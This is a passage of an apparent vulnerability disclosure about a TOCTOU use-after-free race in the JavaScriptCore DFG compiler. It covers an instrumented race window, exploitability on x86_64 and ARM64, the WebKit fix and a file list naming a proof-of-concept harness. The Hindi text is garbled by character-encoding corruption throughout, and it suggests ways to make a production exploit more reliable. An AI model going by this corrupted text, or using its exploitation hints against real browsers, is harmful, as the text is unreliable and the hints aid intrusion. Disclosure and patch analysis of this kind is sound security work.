    - рдПрдХ 500ms `usleep()` рд░реЗрд╕ рд╡рд┐рдВрдбреЛ рдХреЛ рдЪреМрдбрд╝рд╛ рдХрд░рддрд╛ рд╣реИред рд╕реНрдЯреЙрдХ рдЗрдВрдЬрди рдореЗрдВ рдпрд╣рд╛рдБ рдХреЛрдИ рд╕реНрд▓реАрдк рдирд╣реАрдВ рд╣реЛрддреА; рд╕реЗрд▓ рд▓реЙрдХ рд░рд┐рд▓реАрдЬрд╝ рдФрд░ `freeze()` рдХреЙрд▓ рдХреЗ рдмреАрдЪ рдХреА рдкреНрд░рд╛рдХреГрддрд┐рдХ рд╡рд┐рдВрдбреЛ рдиреИрдиреЛрд╕реЗрдХрдВрдб рдХреА рд╣реЛрддреА рд╣реИред
    - `Graph` рдХреЛ `Scannable` рдХреЗ рд░реВрдк рдореЗрдВ рдкрдВрдЬреАрдХреГрдд рдХрд┐рдП рдмрд┐рдирд╛ рдПрдХ рд░реЙ `Safepoint` рдореЗрдВ рдкреНрд░рд╡реЗрд╢ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдкреНрд░реЛрдбрдХреНрд╢рди рд╕реЗрдлрдкреЙрдЗрдВрдЯ (`GraphSafepoint` рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ) `Graph` рдЬреЛрдбрд╝рддреЗ рд╣реИрдВ, рдЬрд┐рд╕рд╕реЗ GC рд╕рднреА рдлреНрд░реЛрдЬрд╝рди рдорд╛рдиреЛрдВ рдХреЛ рд╡рд┐рдЬрд╝рд┐рдЯ рдХрд░рддрд╛ рд╣реИред рд░реЙ рд╕реЗрдлрдкреЙрдЗрдВрдЯ рдЕрднреА рддрдХ рдлреНрд░реЛрдЬрд╝ рди рд╣реБрдП рд╕реЗрд▓ рдХреЛ GC рдХреЗ рд▓рд┐рдП рдЕрджреГрд╢реНрдп рдмрдирд╛ рджреЗрддрд╛ рд╣реИред
    - рдкрд░реНрдпрд╛рд╡рд░рдг рдЪрд░ (`JSC_TGCP_SLEEP_USEC`, `JSC_TGCP_SIGNAL_PATH`) рд╕реНрд▓реАрдк рдЕрд╡рдзрд┐ рдФрд░ рдПрдХ рд╡реИрдХрд▓реНрдкрд┐рдХ рд╕рд┐рдЧреНрдирд▓ рдлрд╝рд╛рдЗрд▓ рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░рддреЗ рд╣реИрдВред
    
    ### 7.2 рдХреНрдпрд╛ рдХреГрддреНрд░рд┐рдо рдирд╣реАрдВ рд╣реИ
    
    рдХреНрд░реИрд╢ рд╕реНрд╡рдпрдВ рдмрд┐рдирд╛ рд╕рдВрд╢реЛрдзрд┐рдд JSC рдХреЛрдб рдкрдереЛрдВ рд╕реЗ рдЖрддрд╛ рд╣реИ:
    
    - `JSFinalObject::visitChildrenImpl` рдФрд░ `SlotVisitor::appendHiddenUnbarriered` рд╕реНрдЯреЙрдХ GC рдорд╛рд░реНрдХрд┐рдВрдЧ рд▓реЙрдЬрд┐рдХ рд╣реИрдВред
    - `Graph::freeze()` рдФрд░ `FrozenValue::freeze()` рд╕реНрдЯреЙрдХ DFG рдХрдВрдкрд╛рдЗрд▓рд░ рд▓реЙрдЬрд┐рдХ рд╣реИрдВред
    - рдХреЛрдИ `__asan_poison_memory_region()` рдпрд╛ рдЕрдиреНрдп рдореИрдиреНрдпреБрдЕрд▓ рдореЗрдореЛрд░реА рдХрд░рдкреНрд╢рди рдЙрдкрдпреЛрдЧ рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред
    - рдХреНрд░реИрд╢ рдкрде рдореЗрдВ рдХреЛрдИ рд╕реНрдкрд╖реНрдЯ "dereference the stale pointer here" (рдпрд╣рд╛рдБ рд╕реНрдЯреЗрд▓ рдкреЙрдЗрдВрдЯрд░ рдХреЛ рдбреАрд░реЗрдлрд╝рд░реЗрдВрд╕ рдХрд░реЗрдВ) рдкреНрд░реЛрдм рдирд╣реАрдВ рдбрд╛рд▓рд╛ рдЧрдпрд╛ рд╣реИред
    - рдЬрд╛рд╡рд╛рд╕реНрдХреНрд░рд┐рдкреНрдЯ рд╣рд╛рд░реНрдиреЗрд╕ рдХреЗрд╡рд▓ рд╕рд╛рд░реНрд╡рдЬрдирд┐рдХ JSC APIs рдФрд░ `jsc` рд╢реЗрд▓ рдмрд┐рд▓реНрдЯ-рдЗрди (`optimizeNextInvocation`, `numberOfDFGCompiles`, `fullGC`, `drainMicrotasks`) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИред
    - DFG рдХрдВрдкрд╛рдЗрд▓рд░ рдереНрд░реЗрдб рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ GC рджреНрд╡рд╛рд░рд╛ рд╕реНрдХреИрди рдирд╣реАрдВ рдХрд┐рдП рдЬрд╛рддреЗ тАФ рдпрд╣ рдкреНрд░реЛрдбрдХреНрд╢рди рд╡реНрдпрд╡рд╣рд╛рд░ рд╣реИ, рдХреЛрдИ рд░рд┐рд╕рд░реНрдЪ рдЖрд░реНрдЯрд┐рдлреИрдХреНрдЯ рдирд╣реАрдВред
    
    ### 7.3 рдореВрд▓реНрдпрд╛рдВрдХрди
    
    рдЗрдВрд╕реНрдЯреНрд░реВрдореЗрдВрдЯреЗрд╢рди рдХреЗ рдмрд┐рдирд╛ x86_64 рдкрд░ рд╡рд┐рд╢реНрд╡рд╕рдиреАрдп рдкреБрдирд░реБрддреНрдкрд╛рджрди рдХреЗ рд▓рд┐рдП рдкреНрд░рд╛рдХреГрддрд┐рдХ рд░реЗрд╕ рд╡рд┐рдВрдбреЛ рдмрд╣реБрдд рд╕рдВрдХреАрд░реНрдг рд╣реИред ARM64 рдкрд░, рдХрдордЬрд╝реЛрд░ рдореЗрдореЛрд░реА рдСрд░реНрдбрд░рд┐рдВрдЧ рдореВрд▓ рдПрдХреНрд╕рдкреНрд▓реЙрдЗрдЯ рдХреЛ рдмрд╣реБрдд рд╡реНрдпрд╛рдкрдХ рдкреНрд░рд╛рдХреГрддрд┐рдХ рд╡рд┐рдВрдбреЛ рджреЗрддреА рд╣реИ тАФ рд╕реНрдЯреНрд░рдХреНрдЪрд░ рдФрд░ рд╡реИрд▓реНрдпреВ рд╕реНрдЯреЛрд░ рдХреЛ рдкреБрдирдГ рдХреНрд░рдордмрджреНрдз рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдЗрд╕рд▓рд┐рдП рдХрдВрдкрд╛рдЗрд▓рд░ рдереНрд░реЗрдб рдмрд┐рдирд╛ рдХрд┐рд╕реА рдХреГрддреНрд░рд┐рдо рдЯрд╛рдЗрдорд┐рдВрдЧ рд╕рд╣рд╛рдпрддрд╛ рдХреЗ рдПрдХ рдЕрд╕рдВрдЧрдд рд╕реНрдерд┐рддрд┐ рдХрд╛ рдЕрд╡рд▓реЛрдХрди рдХрд░ рд╕рдХрддрд╛ рд╣реИред
    
    x86_64 рдкрд░ рдПрдХ рдХрд╛рд▓реНрдкрдирд┐рдХ рдкреНрд░реЛрдбрдХреНрд╢рди рдПрдХреНрд╕рдкреНрд▓реЙрдЗрдЯ рдХреЛ рдпрд╛ рддреЛ рдорд╣рддреНрд╡рдкреВрд░реНрдг рдмрд┐рдВрджреБ рдкрд░ рдХрдВрдкрд╛рдЗрд▓рд░ рдереНрд░реЗрдб рдХреЛ рд░реЛрдХрдиреЗ рдХрд╛ рдПрдХ рддрд░реАрдХрд╛ рдЪрд╛рд╣рд┐рдП (рдЬреИрд╕реЗ, рдзреАрдореА рд╕реНрдЯреНрд░рдХреНрдЪрд░ рд▓реБрдХрдЕрдк, рдПрдХ рд╡рд┐рд╡рд╛рджрд┐рдд рд▓реЙрдХ, рдпрд╛ рдПрдХ рдкреИрдереЛрд▓реЙрдЬрд┐рдХрд▓ рдЧреНрд░рд╛рдл рдЖрдХрд╛рд░ рдЬреЛ `freeze()` рдореЗрдВ рджреЗрд░реА рдХрд░рддрд╛ рд╣реИ) рдпрд╛ рдХрдИ рдХрдВрдкрд╛рдЗрд▓реЗрд╢рди рдкреНрд░рдпрд╛рд╕реЛрдВ рдХреЗ рд╕рд╛рде рдПрдХ рд╕рд╛рдВрдЦреНрдпрд┐рдХреАрдп рджреГрд╖реНрдЯрд┐рдХреЛрдгред рдЗрдВрд╕реНрдЯреНрд░реВрдореЗрдВрдЯреЗрд╢рди рдЙрд╕ рдЖрд╡рд╢реНрдпрдХрддрд╛ рдХреЛ рдПрдХ рдбрд┐рдЯрд░реНрдорд┐рдирд┐рд╕реНрдЯрд┐рдХ рд╕реНрд▓реАрдк рд╕реЗ рдмрджрд▓ рджреЗрддрд╛ рд╣реИред
    
    ---
    
    ## 8. рдкреИрдЪ
    
    рдпреБрд╕реБрдХреЗ рд╕реБрдЬрд╝реБрдХреА рджреНрд╡рд╛рд░рд╛ WebKit рдХрдорд┐рдЯ `64714692967ad278155fcae66c5cb0f853b3bf34` (рдорд╛рд░реНрдХ рд▓реИрдо рджреНрд╡рд╛рд░рд╛ рд╕рдореАрдХреНрд╖рд┐рдд) рдЗрд╕ рднреЗрджреНрдпрддрд╛ рдХреЛ рдареАрдХ рдХрд░рддрд╛ рд╣реИред
    
    рдлрд┐рдХреНрд╕ рдПрдХ рдирдпрд╛ рдХреНрд▓рд╛рд╕, `DesiredObjectProperties`, рдкреНрд░рд╕реНрддреБрдд рдХрд░рддрд╛ рд╣реИ, рдЬреЛ рдЬрдм рднреА DFG рдХрдВрдкрд╛рдЗрд▓рд░ рдХрд┐рд╕реА рдкреНрд░реЙрдкрд░реНрдЯреА рд▓реЛрдб рдХреЛ рдХреЙрдиреНрд╕реНрдЯреЗрдВрдЯ-рдлреЛрд▓реНрдб рдХрд░рддрд╛ рд╣реИ, `(JSObject*, PropertyOffset, JSValue, Structure*)` рдЯреБрдкрд▓реНрд╕ рд░рд┐рдХреЙрд░реНрдб рдХрд░рддрд╛ рд╣реИред рдХрдВрдкрд╛рдЗрд▓реЗрд╢рди рдкреВрд░реНрдг рд╣реЛрдиреЗ рдХреЗ рдмрд╛рдж, `Plan::isStillValidOnMainThread()` рдЗрди рдкреНрд░реЙрдкрд░реНрдЯреАрдЬрд╝ рдХреЛ рдореБрдЦреНрдп рдереНрд░реЗрдб рдкрд░ рдкреБрдирдГ рдкрдврд╝рддрд╛ рд╣реИ рдФрд░ рдЙрдиреНрд╣реЗрдВ рд░рд┐рдХреЙрд░реНрдб рдХрд┐рдП рдЧрдП рдорд╛рдиреЛрдВ рд╕реЗ рддреБрд▓рдирд╛ рдХрд░рддрд╛ рд╣реИред рдпрджрд┐ рдХреЛрдИ рдЯреБрдкрд▓ рд╕реНрдЯреЗрд▓ рд╣реИ тАФ рдСрдмреНрдЬреЗрдХреНрдЯ рдХреА рд╕реНрдЯреНрд░рдХреНрдЪрд░ рдмрджрд▓ рдЧрдИ рд╣реИ, рдпрд╛ рдкреНрд░реЙрдкрд░реНрдЯреА рдорд╛рди рднрд┐рдиреНрди рд╣реИ тАФ рддреЛ рд╕рдВрдХрд▓рд┐рдд рдкреНрд▓рд╛рди рдирд┐рд╖реНрдкрд╛рджрд┐рдд рд╣реЛрдиреЗ рд╕реЗ рдкрд╣рд▓реЗ рд╣реА рддреНрдпрд╛рдЧ рджрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред
    
    рдпрд╣ TOCTOU рдХреЛ рдПрдХ рдПрдЯреЙрдорд┐рдХ рдЬрд╛рдБрдЪ рдореЗрдВ рдкрд░рд┐рд╡рд░реНрддрд┐рдд рдХрд░рддрд╛ рд╣реИ: рдХрдВрдкрд╛рдЗрд▓рд░ рдХрд╛ рд╕реНрдиреИрдкрд╢реЙрдЯ рдСрдкреНрдЯрд┐рдорд╛рдЗрдЬрд╝реНрдб рдХреЛрдб рд╕реНрдерд╛рдкрд┐рдд рд╣реЛрдиреЗ рд╕реЗ рдкрд╣рд▓реЗ рдПрдХ рд╕рд┐рдВрдХреНрд░рдирд╛рдЗрдЬрд╝реЗрд╢рди рдмрд┐рдВрджреБ (рдореБрдЦреНрдп-рдереНрд░реЗрдб рдлрд╝рд╛рдЗрдирд▓рд╛рдЗрдЬрд╝реЗрд╢рди) рдкрд░ рдорд╛рдиреНрдп рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред `freeze()` UAF рдХрдВрдкрд╛рдЗрд▓реЗрд╢рди рдХреЗ рджреМрд░рд╛рди рдлрд┐рд░ рднреА рд╣реЛ рд╕рдХрддрд╛ рд╣реИ, рд▓реЗрдХрд┐рди рдкрд░рд┐рдгрд╛рдореА рдХреЛрдб рдХрднреА рдЙрдкрдпреЛрдЧ рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ред
    
    рдорд▓реНрдЯреА-рд╕реНрдЯреНрд░рдХреНрдЪрд░ рд╕реЗрдЯ рдХреЗ рд▓рд┐рдП, рдкреИрдЪ рдХрд┐рдпрд╛ рдЧрдпрд╛ `tryGetConstantProperty()` рдЬрдм `structureSet.size() > 1` рд╣реЛ рдФрд░ рд╕рднреА рд╕реНрдЯреНрд░рдХреНрдЪрд░ рд╕рдХреНрд░рд┐рдп рд░реВрдк рд╕реЗ рд╡реЙрдЪ рди рдХрд┐рдП рдЧрдП рд╣реЛрдВ, рддреЛ рдХреЙрдиреНрд╕реНрдЯреЗрдВрдЯ рдлреЛрд▓реНрдбрд┐рдВрдЧ рдХреЛ рдкреВрд░реА рддрд░рд╣ рд╕реЗ рдЕрд╕реНрд╡реАрдХрд╛рд░ рдХрд░ рджреЗрддрд╛ рд╣реИред рдпрд╣ S1тЖТS2тЖТS3 рдЯреНрд░рд╛рдВрдЬрд╝рд┐рдЯрд┐рд╡-рдЯреНрд░рд╛рдВрдЬрд╝рд┐рд╢рди рд╣рдорд▓реЗ рдХреЛ рд╕реНрд░реЛрдд рдкрд░ рд╣реА рд╕рдорд╛рдкреНрдд рдХрд░ рджреЗрддрд╛ рд╣реИред
    
    ---
    
    ## 9. рдлрд╝рд╛рдЗрд▓реЗрдВ
    
    | рдлрд╝рд╛рдЗрд▓ | рд╡рд┐рд╡рд░рдг |
    |------|-------------|
    | `toctou_clean_asan_v2.js` | рдЬрд╛рд╡рд╛рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдкреНрд░реВрдл-рдСрдл-рдХреЙрдиреНрд╕реЗрдкреНрдЯ рд╣рд╛рд░реНрдиреЗрд╕ |
    | `DFGGraph.cpp` | рдХрдордЬрд╝реЛрд░ рдлрд╝рдВрдХреНрд╢рди (`tryGetConstantProperty`), `freeze()`, рдФрд░ рд░рд┐рд╕рд░реНрдЪ рдЗрдВрд╕реНрдЯреНрд░реВрдореЗрдВрдЯреЗрд╢рди |
    | `DFGFrozenValue.h` | `FrozenValue::freeze()` тАФ рд╕реЗрд▓ рдбреАрд░реЗрдлрд╝рд░реЗрдВрд╕ рдмрд┐рдВрджреБ |
    | `DFGByteCodeParser.cpp` | `weakJSConstant()` рдХреЙрд▓ рд╕рд╛рдЗрдЯ |
    | `DFGConstantFoldingPhase.cpp` | `emitGetByOffset()` рдХреЙрд▓ рд╕рд╛рдЗрдЯ |
    | `DFGAbstractInterpreterInlines.h` | рдПрдмреНрд╕реНрдЯреНрд░реИрдХреНрдЯ рдЗрдВрдЯрд░рдкреНрд░реЗрдЯрд░ рдХреЙрд▓ рд╕рд╛рдЗрдЯ |
    | `SlotVisitorInlines.h` | `appendHiddenUnbarriered()` тАФ GC рдорд╛рд░реНрдХрд┐рдВрдЧ рдХреНрд░реИрд╢ рд╕рд╛рдЗрдЯ |
    | `MarkedBlock.h` | `aboutToMark()` тАФ рдЬрд╣рд╛рдБ SEGV рд╣реЛрддрд╛ рд╣реИ |
    | `JSLock.cpp` | `didAcquireLock()` тАФ рджрд┐рдЦрд╛рддрд╛ рд╣реИ рдХрд┐ DFG рдереНрд░реЗрдб GC рдХреЗ рд╕рд╛рде рдкрдВрдЬреАрдХреГрдд рдирд╣реАрдВ рд╣реИрдВ |